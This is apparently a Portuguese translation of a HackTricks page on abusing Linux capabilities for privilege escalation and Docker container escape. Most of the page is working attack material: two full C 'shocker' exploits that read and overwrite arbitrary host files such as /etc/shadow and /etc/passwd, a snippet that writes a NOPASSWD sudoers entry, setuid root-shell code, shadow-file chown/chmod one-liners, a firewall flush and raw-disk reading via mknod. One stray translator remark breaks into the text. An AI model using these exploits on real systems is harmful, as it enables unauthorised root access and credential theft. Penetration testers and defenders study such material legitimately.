CAP_DAC_READ_SEARCH permite que um processo ignore as permissões de leitura de arquivos e as permissões de leitura e execução de diretórios. Embora tenha sido projetado para ser usado na busca ou leitura de arquivos, também concede ao processo permissão para invocar open_by_handle_at(2)
. Qualquer processo com a capacidade CAP_DAC_READ_SEARCH
pode usar open_by_handle_at(2)
para acessar qualquer arquivo, mesmo arquivos fora do seu namespace de montagem. O identificador passado para open_by_handle_at(2)
é destinado a ser um identificador opaco obtido usando name_to_handle_at(2)
. No entanto, este identificador contém informações sensíveis e manipuláveis, como números de inode. Isso foi mostrado pela primeira vez como um problema em contêineres Docker por Sebastian Krahmer com o exploit shocker.
Isso significa que você pode ignorar as verificações de permissão de leitura de arquivos e as verificações de permissão de leitura/execução de diretórios.
Exemplo com binário
O binário será capaz de ler qualquer arquivo. Então, se um arquivo como tar tem essa capacidade, ele poderá ler o arquivo shadow:
cd /etc
tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp
cd /tmp
tar -cxf shadow.tar.gz
Exemplo com binary2
Neste caso, vamos supor que o binário python
possui essa capacidade. Para listar arquivos root, você poderia fazer:
import os
for r, d, f in os.walk('/root'):
for filename in f:
print(filename)
E para ler um arquivo você poderia fazer:
print(open("/etc/shadow", "r").read())
Exemplo em Ambiente (Docker breakout)
Você pode verificar as capacidades habilitadas dentro do contêiner Docker usando:
capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
Dentro da saída anterior, você pode ver que a capacidade DAC_READ_SEARCH está habilitada. Como resultado, o container pode depurar processos.
Você pode aprender como a exploração a seguir funciona em https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3, mas em resumo, CAP_DAC_READ_SEARCH não apenas nos permite atravessar o sistema de arquivos sem verificações de permissão, mas também remove explicitamente quaisquer verificações para open_by_handle_at(2) e poderia permitir que nosso processo acesse arquivos sensíveis abertos por outros processos.
O exploit original que abusa dessas permissões para ler arquivos do host pode ser encontrado aqui: http://stealth.openwall.net/xSports/shocker.c, a seguir está uma versão modificada que permite indicar o arquivo que você deseja ler como primeiro argumento e despejá-lo em um arquivo.
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>
// gcc shocker.c -o shocker
// ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir
struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char *msg)
{
perror(msg);
exit(errno);
}
void dump_handle(const struct my_file_handle *h)
{
fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
h->handle_type);
for (int i = 0; i < h->handle_bytes; ++i) {
fprintf(stderr,"0x%02x", h->f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr,"\n");
if (i < h->handle_bytes - 1)
fprintf(stderr,", ");
}
fprintf(stderr,"};\n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle
*oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR *dir = NULL;
struct dirent *de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
oh->handle_type = 1;
oh->handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de->d_name);
if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
ino = de->d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, &ino, sizeof(ino));
memcpy(outh.f_handle + 4, &i, sizeof(i));
if ((i % (1<<20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle(&outh);
return find_handle(bfd, path, &outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main(int argc,char* argv[] )
{
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
};
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, argv[1], &root_h, &h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle(&h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
die("[-] open_by_handle");
memset(buf, 0, sizeof(buf));
if (read(fd2, buf, sizeof(buf) - 1) < 0)
die("[-] read");
printf("Success!!\n");
FILE *fptr;
fptr = fopen(argv[2], "w");
fprintf(fptr,"%s", buf);
fclose(fptr);
close(fd2); close(fd1);
return 0;
}
{% hint style="warning" %} Um exploit precisa encontrar um ponteiro para algo montado no host. O exploit original usava o arquivo /.dockerinit e esta versão modificada usa /etc/hostname. Se o exploit não estiver funcionando, talvez você precise definir um arquivo diferente. Para encontrar um arquivo que está montado no host, basta executar o comando mount: {% endhint %}
O código desta técnica foi copiado do laboratório "Abusing DAC_READ_SEARCH Capability" de https://www.pentesteracademy.com/
RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
{% embed url="https://www.rootedcon.com/" %}
CAP_DAC_OVERRIDE
Isso significa que você pode ignorar as verificações de permissão de escrita em qualquer arquivo, então você pode escrever em qualquer arquivo.
Há muitos arquivos que você pode sobrescrever para escalar privilégios, você pode obter ideias daqui.
Exemplo com binário
Neste exemplo, o vim tem essa capacidade, então você pode modificar qualquer arquivo como passwd, sudoers ou shadow:
getcap -r / 2>/dev/null
/usr/bin/vim = cap_dac_override+ep
vim /etc/sudoers #To overwrite it
Exemplo com o binário 2
Neste exemplo, o binário python
terá essa capacidade. Você poderia usar python para substituir qualquer arquivo:
file=open("/etc/sudoers","a")
file.write("yourusername ALL=(ALL) NOPASSWD:ALL")
file.close()
Exemplo com ambiente + CAP_DAC_READ_SEARCH (Fuga do Docker)
Você pode verificar as capacidades habilitadas dentro do contêiner Docker usando:
capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
Primeiro, leia a seção anterior que abusa da capacidade DAC_READ_SEARCH para ler arquivos arbitrários do host e compile o exploit. Depois, compile a seguinte versão do exploit shocker que permitirá a você escrever arquivos arbitrários no sistema de arquivos do host:
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>
// gcc shocker_write.c -o shocker_write
// ./shocker_write /etc/passwd passwd
struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char * msg) {
perror(msg);
exit(errno);
}
void dump_handle(const struct my_file_handle * h) {
fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
h -> handle_type);
for (int i = 0; i < h -> handle_bytes; ++i) {
fprintf(stderr, "0x%02x", h -> f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr, "\n");
if (i < h -> handle_bytes - 1)
fprintf(stderr, ", ");
}
fprintf(stderr, "};\n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR * dir = NULL;
struct dirent * de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
oh -> handle_type = 1;
oh -> handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de -> d_name);
if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
ino = de -> d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, & ino, sizeof(ino));
memcpy(outh.f_handle + 4, & i, sizeof(i));
if ((i % (1 << 20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle( & outh);
return find_handle(bfd, path, & outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main(int argc, char * argv[]) {
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {
0x02,
0,
0,
0,
0,
0,
0,
0
}
};
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle( & h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
die("[-] open_by_handle");
char * line = NULL;
size_t len = 0;
FILE * fptr;
ssize_t read;
fptr = fopen(argv[2], "r");
while ((read = getline( & line, & len, fptr)) != -1) {
write(fd2, line, read);
}
printf("Success!!\n");
close(fd2);
close(fd1);
return 0;
}
Para escapar do container do docker, você pode baixar os arquivos /etc/shadow
e /etc/passwd
do host, adicionar a eles um novo usuário, e usar shocker_write
para sobrescrevê-los. Em seguida, acessar via ssh.
O código desta técnica foi copiado do laboratório "Abusing DAC_OVERRIDE Capability" de https://www.pentesteracademy.com
CAP_CHOWN
Isso significa que é possível alterar a propriedade de qualquer arquivo.
Exemplo com binário
Vamos supor que o binário python
tenha essa capacidade, você pode alterar o proprietário do arquivo shadow, alterar a senha do root, e escalar privilégios:
python -c 'import os;os.chown("/etc/shadow",1000,1000)'
Ou com o binário ruby
tendo essa capacidade:
ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")'
CAP_FOWNER
Isso significa que é possível alterar a permissão de qualquer arquivo.
Exemplo com binário
Se o python tem essa capacidade, você pode modificar as permissões do arquivo shadow, alterar a senha do root e escalar privilégios:
python -c 'import os;os.chmod("/etc/shadow",0666)
CAP_SETUID
Isso significa que é possível definir o ID de usuário efetivo do processo criado.
Exemplo com binário
Se o python possui essa capacidade, você pode abusar dela muito facilmente para elevar privilégios para root:
import os
os.setuid(0)
os.system("/bin/bash")
Outra maneira:
import os
import prctl
#add the capability to the effective set
prctl.cap_effective.setuid = True
os.setuid(0)
os.system("/bin/bash")
CAP_SETGID
Isso significa que é possível definir o id de grupo efetivo do processo criado.
Há muitos arquivos que você pode sobrescrever para escalar privilégios, você pode obter ideias daqui.
Exemplo com binário
Neste caso, você deve procurar por arquivos interessantes que um grupo possa ler, pois você pode se passar por qualquer grupo:
#Find every file writable by a group
find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file writable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file readable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null
Uma vez que você encontrar um arquivo que possa abusar (através de leitura ou escrita) para escalar privilégios, você pode obter um shell se passando pelo grupo de interesse com:
import os
os.setgid(42)
os.system("/bin/bash")
Neste caso, o grupo shadow foi personificado para que você possa ler o arquivo /etc/shadow
:
cat /etc/shadow
Se o docker estiver instalado, você poderia se passar pelo grupo docker e abusar dele para se comunicar com o socket do docker e escalar privilégios.
CAP_SETFCAP
Isso significa que é possível definir capacidades em arquivos e processos
Exemplo com binário
Se o python tiver essa capacidade, você pode abusá-la facilmente para escalar privilégios para root:
{% code title="setcapability.py" %}
import ctypes, sys
#Load needed library
#You can find which library you need to load checking the libraries of local setcap binary
# ldd /sbin/setcap
libcap = ctypes.cdll.LoadLibrary("libcap.so.2")
libcap.cap_from_text.argtypes = [ctypes.c_char_p]
libcap.cap_from_text.restype = ctypes.c_void_p
libcap.cap_set_file.argtypes = [ctypes.c_char_p,ctypes.c_void_p]
#Give setuid cap to the binary
cap = 'cap_setuid+ep'
path = sys.argv[1]
print(path)
cap_t = libcap.cap_from_text(cap)
status = libcap.cap_set_file(path,cap_t)
if(status == 0):
print (cap + " was successfully added to " + path)
O trecho fornecido não contém texto suficiente para tradução. Por favor, forneça o texto relevante em inglês que você deseja que seja traduzido para o português.
python setcapability.py /usr/bin/python2.7
{% hint style="warning" %} Observe que se você definir uma nova capacidade para o binário com CAP_SETFCAP, você perderá essa capacidade. {% endhint %}
Uma vez que você tenha a capacidade SETUID, você pode ir para a seção correspondente para ver como escalar privilégios.
Exemplo com ambiente (Docker breakout)
Por padrão, a capacidade CAP_SETFCAP é concedida ao processo dentro do container no Docker. Você pode verificar isso fazendo algo como:
cat /proc/`pidof bash`/status | grep Cap
CapInh: 00000000a80425fb
CapPrm: 00000000a80425fb
CapEff: 00000000a80425fb
CapBnd: 00000000a80425fb
CapAmb: 0000000000000000
capsh --decode=00000000a80425fb
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Esta capacidade permite conceder qualquer outra capacidade a binários, então poderíamos pensar em escapar do container abusando de qualquer outro breakout de capacidade mencionado nesta página.
No entanto, se você tentar conceder, por exemplo, as capacidades CAP_SYS_ADMIN e CAP_SYS_PTRACE ao binário gdb, você descobrirá que pode concedê-las, mas o binário não será capaz de executar após isso:
getcap /usr/bin/gdb
/usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip
setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb
/usr/bin/gdb
bash: /usr/bin/gdb: Operation not permitted
Após investigar, li isto: Permitted: Este é um conjunto superset limitante para as capacidades efetivas que a thread pode assumir. É também um conjunto superset limitante para as capacidades que podem ser adicionadas ao conjunto hereditário por uma thread que não possui a capacidade CAP_SETPCAP no seu conjunto efetivo.
Parece que as capacidades Permitted limitam as que podem ser usadas.
No entanto, o Docker também concede o CAP_SETPCAP por padrão, então você pode ser capaz de definir novas capacidades dentro das herdáveis.
No entanto, na documentação desta capacidade: CAP_SETPCAP : […] adicionar qualquer capacidade do conjunto limitante da thread chamadora ao seu conjunto hereditário.
Parece que só podemos adicionar ao conjunto hereditário capacidades do conjunto limitante. O que significa que não podemos colocar novas capacidades como CAP_SYS_ADMIN ou CAP_SYS_PTRACE no conjunto hereditário para escalar privilégios.
CAP_SYS_RAWIO
CAP_SYS_RAWIO fornece uma série de operações sensíveis, incluindo acesso a /dev/mem
, /dev/kmem
ou /proc/kcore
, modificar mmap_min_addr
, acessar chamadas de sistema ioperm(2)
e iopl(2)
, e vários comandos de disco. O FIBMAP ioctl(2)
também é habilitado por meio desta capacidade, o que causou problemas no passado. Conforme a página do manual, isso também permite ao detentor realizar uma gama de operações específicas do dispositivo em outros dispositivos
.
Isso pode ser útil para escalação de privilégios e fuga do Docker.
CAP_KILL
Isso significa que é possível matar qualquer processo.
Exemplo com binário
Vamos supor que o binário python
tenha essa capacidade. Se você pudesse também modificar alguma configuração de serviço ou socket (ou qualquer arquivo de configuração relacionado a um serviço), você poderia instalar uma porta dos fundos, e então matar o processo relacionado a esse serviço e esperar pelo novo arquivo de configuração ser executado com sua porta dos fundos.
#Use this python code to kill arbitrary processes
import os
import signal
pgid = os.getpgid(341)
os.killpg(pgid, signal.SIGKILL)
Escalada de privilégios com kill
Se você possui capacidades de kill e há um programa node executando como root (ou como um usuário diferente), você provavelmente poderá enviar o sinal SIGUSR1 e fazer com que ele abra o depurador do node ao qual você pode se conectar.
kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
{% content-ref url="electron-cef-chromium-debugger-abuse.md" %} electron-cef-chromium-debugger-abuse.md {% endcontent-ref %}
RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
{% embed url="https://www.rootedcon.com/" %}
CAP_NET_BIND_SERVICE
Isso significa que é possível escutar em qualquer porta (inclusive nas privilegiadas). Você não pode escalar privilégios diretamente com essa capacidade.
Exemplo com binário
Se python
tiver essa capacidade, ele poderá escutar em qualquer porta e até se conectar a partir dela para qualquer outra porta (alguns serviços exigem conexões de portas privilegiadas específicas)
{% tabs %} {% tab title="Escutar" %}
import socket
s=socket.socket()
s.bind(('0.0.0.0', 80))
s.listen(1)
conn, addr = s.accept()
while True:
output = connection.recv(1024).strip();
print(output)
{% endtab %}
{% tab title="Conectar" %}
import socket
s=socket.socket()
s.bind(('0.0.0.0',500))
s.connect(('10.10.10.10',500))
{% endtab %} {% endtabs %}
CAP_NET_RAW
CAP_NET_RAW permite que um processo possa criar tipos de soquete RAW e PACKET para os namespaces de rede disponíveis. Isso permite a geração e transmissão de pacotes arbitrários através das interfaces de rede expostas. Em muitos casos, essa interface será um dispositivo Ethernet virtual que pode permitir que um container comprometido forje pacotes em várias camadas de rede. Um processo malicioso ou container comprometido com essa capacidade pode injetar em uma ponte upstream, explorar o roteamento entre containers, contornar controles de acesso à rede e, de outra forma, adulterar a rede do host se um firewall não estiver em vigor para limitar os tipos de pacotes e conteúdos. Por fim, essa capacidade permite que o processo se vincule a qualquer endereço dentro dos namespaces disponíveis. Essa capacidade é frequentemente retida por containers privilegiados para permitir que o ping funcione usando soquetes RAW para criar solicitações ICMP a partir de um container.
Isso significa que é possível farejar o tráfego. Você não pode escalar privilégios diretamente com essa capacidade.
Exemplo com binário
Se o binário tcpdump
tiver essa capacidade, você poderá usá-lo para capturar informações de rede.
getcap -r / 2>/dev/null
/usr/sbin/tcpdump = cap_net_raw+ep
Observe que se o ambiente estiver concedendo essa capacidade, você também poderá usar tcpdump
para capturar tráfego.
Exemplo com binário 2
O exemplo a seguir é código python2
que pode ser útil para interceptar o tráfego da interface "lo" (localhost). O código é do laboratório "The Basics: CAP-NET_BIND + NET_RAW" de https://attackdefense.pentesteracademy.com/
import socket
import struct
flags=["NS","CWR","ECE","URG","ACK","PSH","RST","SYN","FIN"]
def getFlag(flag_value):
flag=""
for i in xrange(8,-1,-1):
if( flag_value & 1 <<i ):
flag= flag + flags[8-i] + ","
return flag[:-1]
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(3))
s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30)
s.bind(("lo",0x0003))
flag=""
count=0
while True:
frame=s.recv(4096)
ip_header=struct.unpack("!BBHHHBBH4s4s",frame[14:34])
proto=ip_header[6]
ip_header_size = (ip_header[0] & 0b1111) * 4
if(proto==6):
protocol="TCP"
tcp_header_packed = frame[ 14 + ip_header_size : 34 + ip_header_size]
tcp_header = struct.unpack("!HHLLHHHH", tcp_header_packed)
dst_port=tcp_header[0]
src_port=tcp_header[1]
flag=" FLAGS: "+getFlag(tcp_header[4])
elif(proto==17):
protocol="UDP"
udp_header_packed_ports = frame[ 14 + ip_header_size : 18 + ip_header_size]
udp_header_ports=struct.unpack("!HH",udp_header_packed_ports)
dst_port=udp_header[0]
src_port=udp_header[1]
if (proto == 17 or proto == 6):
print("Packet: " + str(count) + " Protocol: " + protocol + " Destination Port: " + str(dst_port) + " Source Port: " + str(src_port) + flag)
count=count+1
CAP_NET_ADMIN + CAP_NET_RAW
CAP_NET_ADMIN permite que o detentor da capacidade modifique o firewall dos namespaces de rede expostos, tabelas de roteamento, permissões de socket, configuração de interface de rede e outras configurações relacionadas em interfaces de rede expostas. Isso também fornece a habilidade de ativar o modo promíscuo para as interfaces de rede conectadas e potencialmente farejar através de namespaces.
Exemplo com binário
Vamos supor que o binário python tenha essas capacidades.
#Dump iptables filter table rules
import iptc
import pprint
json=iptc.easy.dump_table('filter',ipv6=False)
pprint.pprint(json)
#Flush iptables filter table
import iptc
iptc.easy.flush_table('filter')
CAP_LINUX_IMMUTABLE
Isso significa que é possível modificar atributos de inode. Você não pode escalar privilégios diretamente com essa capacidade.
Exemplo com binário
Se você descobrir que um arquivo é imutável e python tem essa capacidade, você pode remover o atributo imutável e tornar o arquivo modificável:
#Check that the file is imutable
lsattr file.sh
----i---------e--- backup.sh
#Pyhton code to allow modifications to the file
import fcntl
import os
import struct
FS_APPEND_FL = 0x00000020
FS_IOC_SETFLAGS = 0x40086602
fd = os.open('/path/to/file.sh', os.O_RDONLY)
f = struct.pack('i', FS_APPEND_FL)
fcntl.ioctl(fd, FS_IOC_SETFLAGS, f)
f=open("/path/to/file.sh",'a+')
f.write('New content for the file\n')
{% hint style="info" %} Observe que normalmente esse atributo imutável é definido e removido usando:
sudo chattr +i file.txt
sudo chattr -i file.txt
{% endhint %}
CAP_SYS_CHROOT
CAP_SYS_CHROOT permite o uso da chamada de sistema chroot(2)
. Isso pode permitir a fuga de qualquer ambiente chroot(2)
, utilizando fraquezas e métodos de escape conhecidos:
CAP_SYS_BOOT
CAP_SYS_BOOT permite o uso da chamada de sistema reboot(2)
. Também permite a execução de um comando de reinicialização arbitrário via LINUX_REBOOT_CMD_RESTART2
, implementado para algumas plataformas de hardware específicas.
Esta capacidade também permite o uso da chamada de sistema kexec_load(2)
, que carrega um novo kernel de emergência e, a partir do Linux 3.17, o kexec_file_load(2)
, que também carrega kernels assinados.
CAP_SYSLOG
CAP_SYSLOG foi finalmente separado do CAP_SYS_ADMIN
no Linux 2.6.37, esta capacidade permite que o processo use a chamada de sistema syslog(2)
. Isso também permite que o processo visualize endereços do kernel expostos via /proc
e outras interfaces quando /proc/sys/kernel/kptr_restrict
está definido como 1.
A configuração kptr_restrict
sysctl foi introduzida no 2.6.38 e determina se os endereços do kernel são expostos. Isso é padrão para zero (expondo endereços do kernel) desde o 2.6.39 no kernel vanilla, embora muitas distribuições definam corretamente o valor para 1 (ocultar de todos exceto uid 0) ou 2 (sempre ocultar).
Além disso, esta capacidade também permite que o processo visualize a saída do dmesg
, se a configuração dmesg_restrict
for 1. Finalmente, a capacidade CAP_SYS_ADMIN
ainda é permitida para realizar operações de syslog
por razões históricas.
CAP_MKNOD
CAP_MKNOD permite um uso estendido de mknod ao permitir a criação de algo além de um arquivo comum (S_IFREG
), FIFO (pipe nomeado)(S_IFIFO
), ou socket de domínio UNIX (S_IFSOCK
). Os arquivos especiais são:
S_IFCHR
(Arquivo especial de caracteres (um dispositivo como um terminal))S_IFBLK
(Arquivo especial de blocos (um dispositivo como um disco)).
É uma capacidade padrão (https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19).
Esta capacidade permite fazer escalonamentos de privilégio (através da leitura completa do disco) no host, sob estas condições:
- Ter acesso inicial ao host (Não privilegiado).
- Ter acesso inicial ao container (Privilegiado (EUID 0), e
CAP_MKNOD
efetivo). - Host e container devem compartilhar o mesmo namespace de usuário.
Passos :
- No host, como um usuário padrão:
- Obtenha o UID atual (
id
). Por exemplo:uid=1000(unprivileged)
. - Obtenha o dispositivo que deseja ler. Por exemplo:
/dev/sda
- Obtenha o UID atual (
- No container, como
root
:
# Create a new block special file matching the host device
mknod /dev/sda b
# Configure the permissions
chmod ug+w /dev/sda
# Create the same standard user than the one on host
useradd -u 1000 unprivileged
# Login with that user
su unprivileged
- De volta ao host:
# Find the PID linked to the container owns by the user "unprivileged"
# Example only (Depends on the shell program, etc.). Here: PID=18802.
$ ps aux | grep -i /bin/sh | grep -i unprivileged
unprivileged 18802 0.0 0.0 1712 4 pts/0 S+ 15:27 0:00 /bin/sh
# Because of user namespace sharing, the unprivileged user have access to the container filesystem, and so the created block special file pointing on /dev/sda
head /proc/18802/root/dev/sda
O atacante agora pode ler, despejar, copiar o dispositivo /dev/sda a partir de um usuário não privilegiado.
CAP_SETPCAP
CAP_SETPCAP
é uma capacidade do Linux que permite a um processo modificar os conjuntos de capacidades de outro processo. Concede a habilidade de adicionar ou remover capacidades dos conjuntos de capacidades efetivas, herdáveis e permitidas de outros processos. No entanto, existem certas restrições sobre como essa capacidade pode ser usada.
Um processo com CAP_SETPCAP
só pode conceder ou remover capacidades que estão em seu próprio conjunto de capacidades permitidas. Em outras palavras, um processo não pode conceder uma capacidade a outro processo se ele mesmo não possuir essa capacidade. Essa restrição impede que um processo eleve os privilégios de outro processo além do seu próprio nível de privilégio.
Além disso, em versões recentes do kernel, a capacidade CAP_SETPCAP
foi mais restrita. Ela não permite mais que um processo modifique arbitrariamente os conjuntos de capacidades de outros processos. Em vez disso, só permite que um processo reduza as capacidades em seu próprio conjunto de capacidades permitidas ou no conjunto de capacidades permitidas de seus descendentes. Essa mudança foi introduzida para reduzir potenciais riscos de segurança associados à capacidade.
Para usar CAP_SETPCAP
efetivamente, você precisa ter a capacidade em seu conjunto de capacidades efetivas e as capacidades alvo em seu conjunto de capacidades permitidas. Você pode então usar a chamada de sistema capset()
para modificar os conjuntos de capacidades de outros processos.
Em resumo, CAP_SETPCAP
permite que um processo modifique os conjuntos de capacidades de outros processos, mas não pode conceder capacidades que ele mesmo não possui. Além disso, devido a preocupações de segurança, sua funcionalidade foi limitada em versões recentes do kernel para permitir apenas a redução de capacidades em seu próprio conjunto de capacidades permitidas ou nos conjuntos de capacidades permitidas de seus descendentes.
Referências
A maioria desses exemplos foi tirada de alguns laboratórios de https://attackdefense.pentesteracademy.com/, então se você quiser praticar essas técnicas de privesc, recomendo esses laboratórios.
Outras referências:
- https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux
- https://www.schutzwerk.com/en/43/posts/linux_container_capabilities/
- https://linux-audit.com/linux-capabilities-101/
- https://www.linuxjournal.com/article/5737
- https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities#cap_sys_module
- https://labs.withsecure.com/publications/abusing-the-access-to-mount-namespaces-through-procpidroot
RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
{% embed url="https://www.rootedcon.com/" %}
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quiser ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o merchandising oficial do PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
